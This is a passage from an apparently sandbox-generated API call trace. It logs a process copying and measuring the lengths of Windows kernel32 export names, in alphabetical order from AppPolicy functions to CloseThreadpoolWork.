(lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0117.898] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0117.898] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0117.898] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0117.898] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0117.898] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0117.898] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0117.898] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0117.898] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0117.898] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0117.898] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0117.898] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0117.898] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0117.898] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0117.898] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0117.898] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0117.898] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0117.898] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0117.898] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0117.898] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0117.898] lstrlenA (lpString="BACKUPREAD") returned 10 [0117.898] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0117.898] lstrlenA (lpString="BACKUPSEEK") returned 10 [0117.898] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0117.898] lstrlenA (lpString="BACKUPWRITE") returned 11 [0117.898] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0117.899] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0117.899] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0117.899] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0117.899] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0117.899] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0117.899] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0117.899] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0117.899] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0117.899] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0117.899] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0117.899] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0117.899] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0117.899] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0117.899] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0117.899] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0117.899] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0117.899] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0117.899] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0117.899] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0117.899] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0117.899] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0117.899] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0117.899] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0117.899] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0117.899] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0117.899] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0117.899] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0117.899] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0117.899] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0117.899] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0117.899] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0117.899] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0117.899] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0117.899] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0117.900] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0117.900] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0117.900] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0117.900] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0117.900] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0117.900] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0117.900] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0117.900] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0117.900] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0117.900] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0117.900] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0117.900] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0117.900] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0117.900] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0117.900] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0117.900] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0117.900] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0117.900] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0117.900] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0117.900] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0117.900] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0117.900] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0117.900] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0117.900] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0117.900] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0117.900] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0117.900] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0117.900] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0117.900] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0117.900] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0117.900] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0117.900] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0117.900] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0117.900] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0117.901] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0117.901] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0117.901] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0117.901] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0117.901] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0117.901] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0117.901] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0117.901] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0117.901] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0117.901] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0117.901] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0117.901] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0117.901] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0117.901] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0117.901] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0117.901] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0117.901] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0117.901] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0117.901] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0117.901] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0117.901] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0117.901] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0117.901] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0117.901] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0117.901] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0117.901] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0117.901] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0117.901] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0117.901] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0117.901] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0117.901] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0117.901] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0117.901] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0117.901] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0117.902] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0117.902] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0117.902] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0117.902] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0117.902] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0117.902] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0117.902] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0117.902] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0117.902] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0117.902] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0117.902] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0117.902] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0117.902] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0117.902] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0117.902] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0117.902] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0117.902] lstrlenA (lpString="BEEP") returned 4 [0117.902] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0117.902] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0117.902] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0117.902] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0117.902] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0117.902] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0117.902] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0117.902] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0117.902] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0117.902] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0117.902] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0117.902] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0117.902] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0117.902] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0117.902] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0117.902] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0117.902] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0117.903] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0117.903] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0117.903] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0117.903] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0117.903] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0117.903] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0117.903] lstrlenA (lpString="CANCELIO") returned 8 [0117.903] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0117.903] lstrlenA (lpString="CANCELIOEX") returned 10 [0117.903] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0117.903] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0117.903] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0117.903] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0117.903] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0117.903] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0117.903] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0117.903] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0117.903] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0117.903] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0117.903] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0117.903] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0117.903] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0117.903] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0117.903] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0117.903] lstrlenA (lpString="CHECKELEVATION") returned 14 [0117.903] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0117.903] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0117.903] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0117.903] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0117.903] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0117.903] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0117.903] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0117.903] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0117.904] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0117.904] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0117.904] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0117.904] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0117.904] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0117.904] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0117.904] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0117.904] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0117.904] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0117.904] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0117.904] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0117.904] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0117.904] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0117.904] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0117.904] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0117.904] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0117.904] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0117.904] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0117.904] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0117.904] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0117.904] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0117.904] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0117.904] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0117.904] lstrlenA (lpString="CLOSESTATE") returned 10 [0117.904] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0117.904] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0117.904] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0117.904] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0117.904] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0117.904] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0117.904] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0117.904] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0117.904] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0117.904] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0117.905] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0117.905] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0117.905] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0117.905] lstrlenA 